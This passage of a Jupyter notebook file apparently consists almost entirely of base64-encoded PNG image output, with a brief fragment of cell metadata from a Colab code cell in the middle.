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graph**\n", + "\n" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 374 + }, + "id": "uLtkHwspHQYy", + "outputId": "c77651b5-92ee-4a25-8bac-a1fd7896b9b2" + }, + "outputs": [ + { + "data": { + "image/png": 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